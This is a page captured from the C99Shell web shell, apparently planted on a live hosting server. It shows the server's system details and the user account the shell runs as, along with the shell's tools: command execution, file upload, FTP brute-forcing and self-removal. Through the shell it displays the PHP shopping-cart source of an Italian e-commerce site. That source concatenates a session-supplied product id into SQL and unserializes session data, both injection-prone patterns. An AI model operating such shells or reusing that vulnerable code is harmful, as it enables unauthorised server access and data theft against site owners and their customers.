!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/include/   drwxr-xr-x
Free 184.3 GB of 490.84 GB (37.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.carrello.php (11.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

/*
 * analisi e note
 quando un utente visita il sito il carrello normalmente non esiste. Nel momento in cui inserisce il primo oggetto
 il carrello viene creato e memorizzato nella sessione dell'utente e automaticamente e riempito con l'oggetto selezionato.
  
 Il parametro Tshop->loginObbligatorio definisce se la creazione del carrello è consentita a tutti gli utenti
 o solamente agli utenti che hanno fatto il login (quindi già registrati).
 
 
 
 */
class TshopSTD extends Tshop
{
    
    public function 
stampaDettagliCarrello()
    {
        
$lCarrelloVuoto=true;
        if (isset(
$_SESSION['carrello']))
        {
            
$lCarrelloVuoto=false;
            
$carrelloTemp = new Tcarrello();
            echo 
"Contenuto del carrello<br /><br />";
            
$carrelloTemp unserialize($_SESSION['carrello']);

            
$nElementi=count($carrelloTemp->carrello);
            echo 
"numero voci: ".$nElementi.'<br />';
            
            
//scorro tuto l'array per stamparne il contenuto
            
for($i=0;$i<$nElementi;$i++)
            {
                
/*
                sono costretto a verificare l'esistenza di ogni elemento in quanto la cancellazione di una voce
                dal carrello lascia un buco e non riordina l'array. questo crea un problema quando il ciclo
                passa su un "buco" in quanto è una variabile che non esiste.
                */
                
if ($carrelloTemp->carrello[$i]->qta>0)
                {
                echo 
"idprodotto: ".$carrelloTemp->carrello[$i]->idProdotto.'<br />';
                echo 
"qta: ".$carrelloTemp->carrello[$i]->qta.'<br /><br />';
                }
            }
        }
        
        if (
$lCarrelloVuoto)
        {
            
//qui il carrello non esiste oppure è vuoto quindi stampo il messaggio che avvisa che il carrello non contiene elementi
            
            
            //todo: sostituire con la formattazione giusta
            
echo "carrello vuoto";
            
        }
    }
    
     public function 
stampaDettagliCarrelloLista()
    {
        
$lCarrelloVuoto=true;
        if (isset(
$_SESSION['carrello']))
        {
             
$totalecarrello 0;
            
$lCarrelloVuoto=false;
            
$carrelloTemp = new Tcarrello();
            
            
$carrelloTemp unserialize($_SESSION['carrello']);

            
$nElementi=count($carrelloTemp->carrello);
             
$prodottiValidi 0;           
            
//scorro tuto l'array per stamparne il contenuto
            
for($i=0;$i<$nElementi;$i++)
            {
                
/*
                sono costretto a verificare l'esistenza di ogni elemento in quanto la cancellazione di una voce
                dal carrello lascia un buco e non riordina l'array. questo crea un problema quando il ciclo
                passa su un "buco" in quanto è una variabile che non esiste.
                */
                
                
if ($carrelloTemp->carrello[$i]->qta>0)
                {
                  
$sql 'select 
                            contenuti.id,
                            contenuti.prezzo,
                            contenuti.codice_articolo,
                            contenuti.titolo_it AS nome_prodotto,
                            contenuti.desc_breve_it,
                            contenuti.desc_lunga_it,
                            contenuti.id_categoria,
                            quantita.titolo as titoloQuantita,
                            durata.titolo as titoloDurata,
                            categorie_contenuti.titolo_it AS titolo_categoria
                            from contenuti
                                inner join categorie_contenuti ON contenuti.id_categoria=categorie_contenuti.id
                                inner join durata ON contenuti.id_durata=durata.id
                                inner join quantita ON contenuti.id_quantita=quantita.id
                             where contenuti.id = '
.$carrelloTemp->carrello[$i]->idProdotto;
                             
                             
                    
GetRecord$sql $row);
                    
                    
$totaleProdotto=$row['prezzo']*$carrelloTemp->carrello[$i]->qta;  
                    
                    
                 
?>
                 
                 <div class="top-cart-item clearfix">
                                        <div class="top-cart-item-desc">
                                            <a href="#"><?=$row['titolo_categoria']?><br /><?=$row['titoloQuantita']?> <?=$row['titoloDurata']?></a>
                                            <span class="top-cart-item-price"><?=number_format($row['prezzo'],2,',','.')?> Euro</span>
                                            <span class="top-cart-item-quantity">x <?echo $carrelloTemp->carrello[$i]->qta?></span>
                                        </div>
                                    </div>
                 
                <?  
                $totalecarrello 
$totalecarrello+$totaleProdotto;
                
$prodottiValidi++;
                }
            }
            
            if (
$prodottiValidi>0)
            {
?>
            <div class="top-cart-action clearfix">
                                    <span class="fleft top-checkout-price"><?=number_format($totalecarrello,2,',','.')?> Euro</span>
                                    <a href="carrello.php" class="button button-small nomargin fright" style="color: #fff;">ORDINA</a>
                                    
                                </div>
                                        <?
            
}
            else
            {
                
$lCarrelloVuoto true;
            }
        }
        
        if (
$lCarrelloVuoto)
        {
            
//qui il carrello non esiste oppure è vuoto quindi stampo il messaggio che avvisa che il carrello non contiene elementi
            
            
            //todo: sostituire con la formattazione giusta
            
echo "<li>Nessun articolo presente nel carrello</li>";
            echo
"<li>&nbsp;</li>";
           
            
        }
    }
    public function 
stampaNumeroProdotti()
    {
        
$lCarrelloVuoto=true;
        if (isset(
$_SESSION['carrello']))
        {
            
$lCarrelloVuoto=false;
            
$carrelloTemp = new Tcarrello();
            
$carrelloTemp unserialize($_SESSION['carrello']);

            
$nElementi=count($carrelloTemp->carrello);
            
            
//scorro tuto l'array per stamparne il contenuto
            
$qtaTotale 0;
            for(
$i=0;$i<$nElementi;$i++)
            {
                
/*
                sono costretto a verificare l'esistenza di ogni elemento in quanto la cancellazione di una voce
                dal carrello lascia un buco e non riordina l'array. questo crea un problema quando il ciclo
                passa su un "buco" in quanto è una variabile che non esiste.
                */
                
                
if ($carrelloTemp->carrello[$i]->qta>0)
                
                {
                
$qtaTotale=$qtaTotale+$carrelloTemp->carrello[$i]->qta;
                
                }
            }
            
//echo 'QTA TOTALE'.$qtaTotale.'<br />';
            
        
}
        
        if (
$lCarrelloVuoto)
        {
            
//qui il carrello non esiste oppure è vuoto quindi stampo il messaggio che avvisa che il carrello non contiene elementi
            
            
            //todo: sostituire con la formattazione giusta
            //echo "carrello vuoto";
            
$qtaTotale 0;
            
        }
        
        return 
$qtaTotale;
    }
}

class 
Tshop
{
   
    
    public function 
add($idProdotto,$qta,$lFix)
    {
        
/*
        funzione aggiunge/modifica/rimuove i prodotti/qta dall'oggetto carrello
         
         la funzione cerca nell'array l'oggetto con idProdotto:
         
            con parametro LFIX = false
            se esiste -> facciamo la somma algebrica della qta; se la qta arriva a zero eliminiamo l'elemento dall'array
            se non esiste -> creiamo un nuovo elemento nell'array con qta pari a quella passata
          
            con parametro LFIX = true
            se esiste -> imposto la qta con il valore passato come parametro
            se non esiste -> creiamo un nuovo elemento nell'array con qta pari a quella passata         
         
         per eliminare un prodotto la $qta deve essere zero e $lfix = true;
         
        */
        
        
if (isset($_SESSION['carrello']))
        {
            
//qui l'oggetto carrello esiste quindi per poterci lavorare sopra e aggiornarlo
            //devo prima fare l'unserialize
            
$carrelloTemp unserialize($_SESSION['carrello']);
            
//ora ho il carrello nella variabile carrelloTemp di tipo Tcarrello;
            
            //a questo punto devo scorrere tutto l'array per verificare se il prodotto ($idProdotto)
            //esiste.
            
            
            /*
            NOTA CANCELLAZIONE ELEMENTO:
            Visto che la cancellazione di un elemento dall'array sta rompendo le storie abbiamo scelto di mettere
            la quantità a zero e, durante la gestione dell'array prendere in considerazione solamente gli elementi
            con quantità positiva. La conseguenza è che tutti gli elementi con qta = 0 sono di fatto cancellati.
            
            */
            
$lprodottoTrovato=false;
            
            
$nElementi=count($carrelloTemp->carrello);
            for(
$i=0;$i<$nElementi;$i++)
            {
                
                if (
$carrelloTemp->carrello[$i]->idProdotto == $idProdotto)
                {
                    
//qui ho trovato il prodotto che voglio modificare
                    
$lprodottoTrovato=true;

                    if (
$lFix)
                        
$carrelloTemp->carrello[$i]->qta $qta//sostituisco la qta con quella passata come parametro
                    
else
                        
$carrelloTemp->carrello[$i]->qta += $qta//faccio la somma algebrica
                        
                    
if ($carrelloTemp->carrello[$i]->qta<=0)
                    {
                        
$carrelloTemp->carrello[$i]->qta=0;
                        
//verifico se la qta è = o < di zero ed in caso devo eliminare il prodotto dal carrello.
                    
}
                }
            }
            
            if (!
$lprodottoTrovato && $qta!=0)
            {
                
//qui ho fatto scorrere tutto l'array e non ho trovato il prodotto quindi
                //lo aggiungo
                
$carrelloTemp->carrello[] = new TelementoCarrello($idProdotto,$qta);                
            }
        }
        else
        {
            
$carrelloTemp = new Tcarrello();
            
$carrelloTemp->carrello[] = new TelementoCarrello($idProdotto,$qta);
        }
        
        
$_SESSION['carrello'] = serialize($carrelloTemp);
        
//echo $_SESSION['carrello'];
    
}
    
    
    public function 
concludiOrdine()
    {}
    
}


class 
Tcarrello
{
    public 
$carrello;
    
    public function 
__construct()
    {
        
$this->carrello = array();
    }
    
    public function 
__destruct() 
    {
        if (
is_array($this->carrello))
        {
            
$nElementi=count($this->carrello);
            for(
$i=0;$i<$nElementi;$i++)
                unset(
$this->carrello[$i]);
        }
                
        unset(
$this->carrello);
    }
}

class 
TelementoCarrello
{
    var 
$idProdotto;
    var 
$qta;
    
    public function 
__construct($idProdotto$qta)
    {
        
$this->idProdotto=$idProdotto;
        
$this->qta $qta;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0184 ]--